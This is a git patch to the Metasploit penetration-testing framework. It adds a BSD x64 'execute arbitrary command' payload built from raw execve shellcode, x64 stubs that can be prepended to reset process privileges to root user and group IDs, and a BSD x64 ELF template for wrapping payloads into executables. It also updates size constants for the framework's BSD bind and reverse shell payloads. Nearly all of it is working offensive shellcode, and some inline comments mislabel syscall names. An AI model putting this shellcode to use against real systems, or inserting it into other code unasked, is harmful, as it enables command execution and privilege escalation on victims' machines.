From 2d3614f64728cb4da7a0926d15081b37ca319321 Mon Sep 17 00:00:00 2001 From: joev Date: Sun, 12 Apr 2015 12:17:25 -0500 Subject: [PATCH] Implement x64 BSD exec and exe template. - Fixes bug in CachedSize due to all options being set - Adds new payload to payload_spec. --- data/templates/template_x64_bsd.bin | Bin 0 -> 120 bytes lib/msf/core/payload/bsd.rb | 240 +++++++++++------- lib/msf/util/exe.rb | 25 +- modules/payloads/singles/bsd/x64/exec.rb | 75 ++++++ modules/payloads/singles/bsd/x86/exec.rb | 4 +- .../singles/bsd/x86/metsvc_bind_tcp.rb | 2 +- .../singles/bsd/x86/metsvc_reverse_tcp.rb | 2 +- .../singles/bsd/x86/shell_bind_tcp.rb | 2 +- .../singles/bsd/x86/shell_bind_tcp_ipv6.rb | 2 +- .../singles/bsd/x86/shell_find_port.rb | 2 +- .../singles/bsd/x86/shell_find_tag.rb | 2 +- .../singles/bsd/x86/shell_reverse_tcp.rb | 2 +- .../singles/bsd/x86/shell_reverse_tcp_ipv6.rb | 2 +- spec/modules/payloads_spec.rb | 10 + 14 files changed, 261 insertions(+), 109 deletions(-) create mode 100755 data/templates/template_x64_bsd.bin create mode 100644 modules/payloads/singles/bsd/x64/exec.rb diff --git a/data/templates/template_x64_bsd.bin b/data/templates/template_x64_bsd.bin new file mode 100755 index 0000000000000000000000000000000000000000..7adb4fca060fe6844329837b8037be9a27e74fc3 GIT binary patch literal 120 zcmb<-^>JfjWaMOk0wxAK21X#eg24eS0wKXnIN`ux0agPN0I6k%%YYaTP#%PKgaRih JU=V;v0|1YP2gU#Z literal 0 HcmV?d00001 diff --git a/lib/msf/core/payload/bsd.rb b/lib/msf/core/payload/bsd.rb index a9139e0e77..c0eacb807c 100644 --- a/lib/msf/core/payload/bsd.rb +++ b/lib/msf/core/payload/bsd.rb @@ -23,49 +23,49 @@ module Msf::Payload::Bsd [ false, "Prepend a stub that executes the setresuid(0, 0, 0) system call", - "false" + false ] ), Msf::OptBool.new('PrependSetreuid', [ false, "Prepend a stub that executes the setreuid(0, 0) system call", - "false" + false ] ), Msf::OptBool.new('PrependSetuid', [ false, "Prepend a stub that executes the setuid(0) system call", - "false" + false ] ), Msf::OptBool.new('PrependSetresgid', [ false, "Prepend a stub that executes the setresgid(0, 0, 0) system call", - "false" + false ] ), Msf::OptBool.new('PrependSetregid', [ false, "Prepend a stub that executes the setregid(0, 0) system call", - "false" + false ] ), Msf::OptBool.new('PrependSetgid', [ false, "Prepend a stub that executes the setgid(0) system call", - "false" + false ] ), Msf::OptBool.new('AppendExit', [ false, "Append a stub that executes the exit(0) system call", - "false" + false ] ), ], Msf::Payload::Bsd) @@ -74,95 +74,157 @@ module Msf::Payload::Bsd end - # - # Overload the generate() call to prefix our stubs - # - def generate(*args) - # Call the real generator to get the payload - buf = super(*args) + def apply_prepends(buf) + test_arch = [ *(self.arch) ] pre = '' app = '' - test_arch = [ *(self.arch) ] - - # Handle all x86 code here if (test_arch.include?(ARCH_X86)) - - # Prepend - - if (datastore['PrependSetresuid']) - # setresuid(0, 0, 0) - pre << "\x31\xc0" +# xorl %eax,%eax # - "\x50" +# pushl %eax # - "\x50" +# pushl %eax # - "\x50" +# pushl %eax # - "\x50" +# pushl %eax # - "\x66\xb8\x37\x01" +# movw $0x0137,%ax # - "\xcd\x80" # int $0x80 # - end - - if (datastore['PrependSetreuid']) - # setreuid(0, 0) - pre << "\x31\xc0" +# xorl %eax,%eax # - "\x50" +# pushl %eax # - "\x50" +# pushl %eax # - "\x50" +# pushl %eax # - "\xb0\x7e" +# movb $0x7e,%al # - "\xcd\x80" # int $0x80 # - end - - if (datastore['PrependSetuid']) - # setuid(0) - pre << "\x31\xc0" +# xorl %eax,%eax # - "\x50" +# pushl %eax # - "\x50" +# pushl %eax # - "\xb0\x17" +# movb $0x17,%al # - "\xcd\x80" # int $0x80 # - end - - if (datastore['PrependSetresgid']) - # setresgid(0, 0, 0) - pre << "\x31\xc0" +# xorl %eax,%eax # - "\x50" +# pushl %eax # - "\x50" +# pushl %eax # - "\x50" +# pushl %eax # - "\x50" +# pushl %eax # - "\x66\xb8\x38\x01" +# movw $0x0138,%ax # - "\xcd\x80" # int $0x80 # - end - - if (datastore['PrependSetregid']) - # setregid(0, 0) - pre << "\x31\xc0" +# xorl %eax,%eax # - "\x50" +# pushl %eax # - "\x50" +# pushl %eax # - "\x50" +# pushl %eax # - "\xb0\x7f" +# movb $0x7f,%al # - "\xcd\x80" # int $0x80 # - end - - if (datastore['PrependSetgid']) - # setgid(0) - pre << "\x31\xc0" +# xorl %eax,%eax # - "\x50" +# pushl %eax # - "\x50" +# pushl %eax # - "\xb0\xb5" +# movb $0xb5,%al # - "\xcd\x80" # int $0x80 # - end - # Append - - if (datastore['AppendExit']) - # exit(0) - app << "\x31\xc0" +# xorl %eax,%eax # - "\x50" +# pushl %eax # - "\xb0\x01" +# movb $0x01,%al # - "\xcd\x80" # int $0x80 # - end - + handle_x86_bsd_opts(pre, app) + elsif (test_arch.include?(ARCH_X86_64)) + handle_x64_bsd_opts(pre, app) end - return (pre + buf + app) + pre + buf + app end + def handle_x86_bsd_opts(pre, app) + if (datastore['PrependSetresuid']) + # setresuid(0, 0, 0) + pre << "\x31\xc0" +# xorl %eax,%eax # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\x66\xb8\x37\x01" +# movw $0x0137,%ax # + "\xcd\x80" # int $0x80 # + end + + if (datastore['PrependSetreuid']) + # setreuid(0, 0) + pre << "\x31\xc0" +# xorl %eax,%eax # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\xb0\x7e" +# movb $0x7e,%al # + "\xcd\x80" # int $0x80 # + end + + if (datastore['PrependSetuid']) + # setuid(0) + pre << "\x31\xc0" +# xorl %eax,%eax # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\xb0\x17" +# movb $0x17,%al # + "\xcd\x80" # int $0x80 # + end + + if (datastore['PrependSetresgid']) + # setresgid(0, 0, 0) + pre << "\x31\xc0" +# xorl %eax,%eax # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\x66\xb8\x38\x01" +# movw $0x0138,%ax # + "\xcd\x80" # int $0x80 # + end + + if (datastore['PrependSetregid']) + # setregid(0, 0) + pre << "\x31\xc0" +# xorl %eax,%eax # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\xb0\x7f" +# movb $0x7f,%al # + "\xcd\x80" # int $0x80 # + end + + if (datastore['PrependSetgid']) + # setgid(0) + pre << "\x31\xc0" +# xorl %eax,%eax # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\xb0\xb5" +# movb $0xb5,%al # + "\xcd\x80" # int $0x80 # + end + + if (datastore['AppendExit']) + # exit(0) + app << "\x31\xc0" +# xorl %eax,%eax # + "\x50" +# pushl %eax # + "\xb0\x01" +# movb $0x01,%al # + "\xcd\x80" # int $0x80 # + end + end + + def handle_x64_bsd_opts(pre, app) + if (datastore['PrependSetresuid']) + # setresuid(0, 0, 0) + pre << "\x48\x31\xc0" +# xor rax, rax + "\x48\x83\xc8\x4d" +# or rax, 77 (setgid=311>>2=77) + "\x48\xc1\xe0\x02" +# shl rax, 2 + "\x48\x83\xf0\x03" +# xor rax, 3 (311&3=3) + "\x48\x31\xff" +# xor rdi, rdi 0 + "\x48\x31\xf6" +# xor rsi, rsi 0 + "\x48\x31\xd2" +# xor rdx, rdx 0 + "\x0f\x05" # syscall + end + + if (datastore['PrependSetreuid']) + # setreuid(0, 0) + pre << "\x48\x31\xc0" +# xor rax, rax + "\x48\x83\xc8\x7e" +# or rax, 126 (setreuid=126) + "\x48\x31\xff" +# xor rdi, rdi 0 + "\x48\x31\xf6" +# xor rsi, rsi 0 + "\x0f\x05" # syscall + end + + if (datastore['PrependSetuid']) + # setuid(0) + pre << "\x48\x31\xc0" +# xor rax, rax + "\x48\x83\xc8\x17" +# or rax, 23 (setuid=23) + "\x48\x31\xff" +# xor rdi, rdi 0 + "\x0f\x05" # syscall + end + + if (datastore['PrependSetresgid']) + # setresgid(0, 0, 0) + pre << "\x48\x31\xc0" +# xor rax, rax + "\x48\x83\xc8\x4e" +# or rax, 78 (setgid=312>>2=78) + "\x48\xc1\xe0\x02" +# shl rax, 2 (78<<2=312) + "\x48\x31\xff" +# xor rdi, rdi 0 + "\x48\x31\xf6" +# xor rsi, rsi 0 + "\x48\x31\xd2" +# xor rdx, rdx 0 + "\x0f\x05" # syscall + end + + if (datastore['PrependSetregid']) + # setregid(0, 0) + pre << "\x48\x31\xc0" +# xor rax, rax + "\x48\x83\xc8\x7f" +# or rax, 127 (setuid=127) + "\x48\x31\xff" +# xor rdi, rdi 0 + "\x48\x31\xf6" +# xor rsi, rsi 0 + "\x0f\x05" # syscall + end + + if (datastore['PrependSetgid']) + # setgid(0) + pre << "\x48\x31\xc0" +# xor rax, rax + "\x48\x83\xc8\x5a" +# or rax, 90 (setgid=181>>1=90) + "\x48\xd1\xe0" +# shl rax, 1 + "\x48\x83\xc8\x01" +# or rax, 1 (setgid=181&1=1) + "\x48\x31\xff" +# xor rdi, rdi 0 + "\x0f\x05" # syscall + end + + if (datastore['AppendExit']) + # exit(0) + app << "\x48\x31\xc0" +# xor rax, rax + "\x48\x83\xc8\x01" +# or rax, 1 (exit=1) + "\x48\x31\xff" +# xor rdi, rdi 0 + "\x0f\x05" # syscall + end + end end diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index e4ae8f3cd9..ba7bdf2b08 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -111,6 +111,10 @@ require 'msf/core/exe/segment_appender' if plat.index(Msf::Module::Platform::OSX) return to_osx_x64_macho(framework, code) end + + if plat.index(Msf::Module::Platform::BSD) + return to_bsd_x64_elf(framework, code) + end end if arch.index(ARCH_ARMLE) @@ -891,6 +895,11 @@ require 'msf/core/exe/segment_appender' to_exe_elf(framework, opts, "template_x86_bsd.bin", code) end + # Create a 64-bit Linux ELF containing the payload provided in +code+ + def self.to_bsd_x64_elf(framework, code, opts = {}) + to_exe_elf(framework, opts, "template_x64_bsd.bin", code) + end + # Create a 32-bit Solaris ELF containing the payload provided in +code+ def self.to_solaris_x86_elf(framework, code, opts = {}) to_exe_elf(framework, opts, "template_x86_solaris.bin", code) @@ -1870,10 +1879,8 @@ require 'msf/core/exe/segment_appender' if !plat || plat.index(Msf::Module::Platform::Linux) case arch when ARCH_X86,nil -to_linux_x86_elf(framework, code, exeopts) - when ARCH_X86_64 - to_linux_x64_elf(framework, code, exeopts) - when ARCH_X64 + to_linux_x86_elf(framework, code, exeopts) + when ARCH_X86_64, ARCH_X64 to_linux_x64_elf(framework, code, exeopts) when ARCH_ARMLE to_linux_armle_elf(framework, code, exeopts) @@ -1886,6 +1893,8 @@ to_linux_x86_elf(framework, code, exeopts) case arch when ARCH_X86,nil Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts) + when ARCH_X86_64, ARCH_X64 + Msf::Util::EXE.to_bsd_x64_elf(framework, code, exeopts) end elsif plat && plat.index(Msf::Module::Platform::Solaris) case arch @@ -1896,9 +1905,7 @@ to_linux_x86_elf(framework, code, exeopts) when 'elf-so' if !plat || plat.index(Msf::Module::Platform::Linux) case arch - when ARCH_X86_64 - to_linux_x64_elf_dll(framework, code, exeopts) - when ARCH_X64 + when ARCH_X86_64, ARCH_X64 to_linux_x64_elf_dll(framework, code, exeopts) end end @@ -1906,9 +1913,7 @@ to_linux_x86_elf(framework, code, exeopts) macho = case arch when ARCH_X86,nil to_osx_x86_macho(framework, code, exeopts) - when ARCH_X86_64 - to_osx_x64_macho(framework, code, exeopts) - when ARCH_X64 + when ARCH_X86_64, ARCH_X64 to_osx_x64_macho(framework, code, exeopts) when ARCH_ARMLE to_osx_arm_macho(framework, code, exeopts) diff --git a/modules/payloads/singles/bsd/x64/exec.rb b/modules/payloads/singles/bsd/x64/exec.rb new file mode 100644 index 0000000000..17eb2c5195 --- /dev/null +++ b/modules/payloads/singles/bsd/x64/exec.rb @@ -0,0 +1,75 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + + +### +# +# Exec +# ---- +# +# Executes an arbitrary command. +# +### +module Metasploit3 + + CachedSize = 23 + + include Msf::Payload::Single + include Msf::Payload::Bsd + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'BSD x64 Execute Command', + 'Description' => 'Execute an arbitrary command', + 'Author' => 'joev', + 'License' => MSF_LICENSE, + 'Platform' => 'bsd', + 'Arch' => ARCH_X86_64)) + + # Register exec options + register_options( + [ + OptString.new('CMD', [ true, "The command string to execute" ]), + ], self.class) + end + + # + # Dynamically builds the exec payload based on the user's options. + # + def generate_stage + cmd_str = datastore['CMD'] || '' + # Split the cmd string into arg chunks + cmd_parts = Shellwords.shellsplit(cmd_str) + cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact + arg_str = cmd_parts.map { |a| "#{a}\x00" }.join + call = "\xe8" + [arg_str.length].pack('V') + payload = + "\x48\x31\xd2"+ # xor rdx, rdx + call + # call CMD.len + arg_str + # CMD + "\x5f" + # pop rdi + if cmd_parts.length > 1 + "\x48\x89\xf9" + # mov rcx, rdi + "\x52" + # push rdx (null) + # for each arg, push its current memory location on to the stack + cmd_parts[1..-1].each_with_index.map do |arg, idx| + "\x48\x81\xc1" + # add rcx + ... + [cmd_parts[idx].length+1].pack('V') + # + "\x51" # push rcx (build str array) + end.join + else + "\x52" # push rdx (null) + end + + "\x57"+ # push rdi + "\x48\x89\xe6"+ # mov rsi, rsp + "\x48\x31\xc0"+ # xor rax, rax + "\x48\x83\xc8\x3b" + # or rax, 0x3b (execve) + "\x0f\x05" # syscall + end + +end diff --git a/modules/payloads/singles/bsd/x86/exec.rb b/modules/payloads/singles/bsd/x86/exec.rb index ed8fb2a44e..c78636b650 100644 --- a/modules/payloads/singles/bsd/x86/exec.rb +++ b/modules/payloads/singles/bsd/x86/exec.rb @@ -17,7 +17,7 @@ require 'msf/core' ### module Metasploit3 - CachedSize = 107 + CachedSize = 42 include Msf::Payload::Single include Msf::Payload::Bsd @@ -42,7 +42,7 @@ module Metasploit3 # Dynamically builds the exec payload based on the user's options. # def generate_stage - cmd = datastore['CMD'] || '' + cmd = datastore['CMD'] || '' asm = <<-EOS ;; ; diff --git a/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb b/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb index 4842362b2d..f8352a26de 100644 --- a/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb +++ b/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_options' module Metasploit3 - CachedSize = 65 + CachedSize = 0 include Msf::Payload::Bsd include Msf::Payload::Single diff --git a/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb b/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb index 2e2d3d9060..722c4f71f6 100644 --- a/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb +++ b/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_options' module Metasploit3 - CachedSize = 65 + CachedSize = 0 include Msf::Payload::Bsd include Msf::Payload::Single diff --git a/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb b/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb index 797ca83236..51c42e0b2a 100644 --- a/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 138 + CachedSize = 73 include Msf::Payload::Single include Msf::Payload::Bsd diff --git a/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb b/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb index 89d5755753..364b19f021 100644 --- a/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb +++ b/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 152 + CachedSize = 87 include Msf::Payload::Single include Msf::Payload::Bsd diff --git a/modules/payloads/singles/bsd/x86/shell_find_port.rb b/modules/payloads/singles/bsd/x86/shell_find_port.rb index b0029dfa84..80f4aa6955 100644 --- a/modules/payloads/singles/bsd/x86/shell_find_port.rb +++ b/modules/payloads/singles/bsd/x86/shell_find_port.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 125 + CachedSize = 60 include Msf::Payload::Single include Msf::Payload::Bsd diff --git a/modules/payloads/singles/bsd/x86/shell_find_tag.rb b/modules/payloads/singles/bsd/x86/shell_find_tag.rb index d78f4078ba..389ff04691 100644 --- a/modules/payloads/singles/bsd/x86/shell_find_tag.rb +++ b/modules/payloads/singles/bsd/x86/shell_find_tag.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 135 + CachedSize = 70 include Msf::Payload::Single include Msf::Payload::Bsd diff --git a/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb b/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb index e018c5c82b..a1be7400f4 100644 --- a/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 129 + CachedSize = 64 include Msf::Payload::Single include Msf::Payload::Bsd diff --git a/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb b/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb index 8f239f4262..3de4c6b8ba 100644 --- a/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb +++ b/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 161 + CachedSize = 96 include Msf::Payload::Single include Msf::Payload::Bsd diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 64925f163c..cbcecc41e1 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -276,6 +276,16 @@ describe 'modules/payloads', :content do reference_name: 'bsd/x86/shell_reverse_tcp_ipv6' end + context 'bsd/x64/exec' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/bsd/x64/exec' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'bsd/x64/exec' + end + context 'bsdi/x86/shell/bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [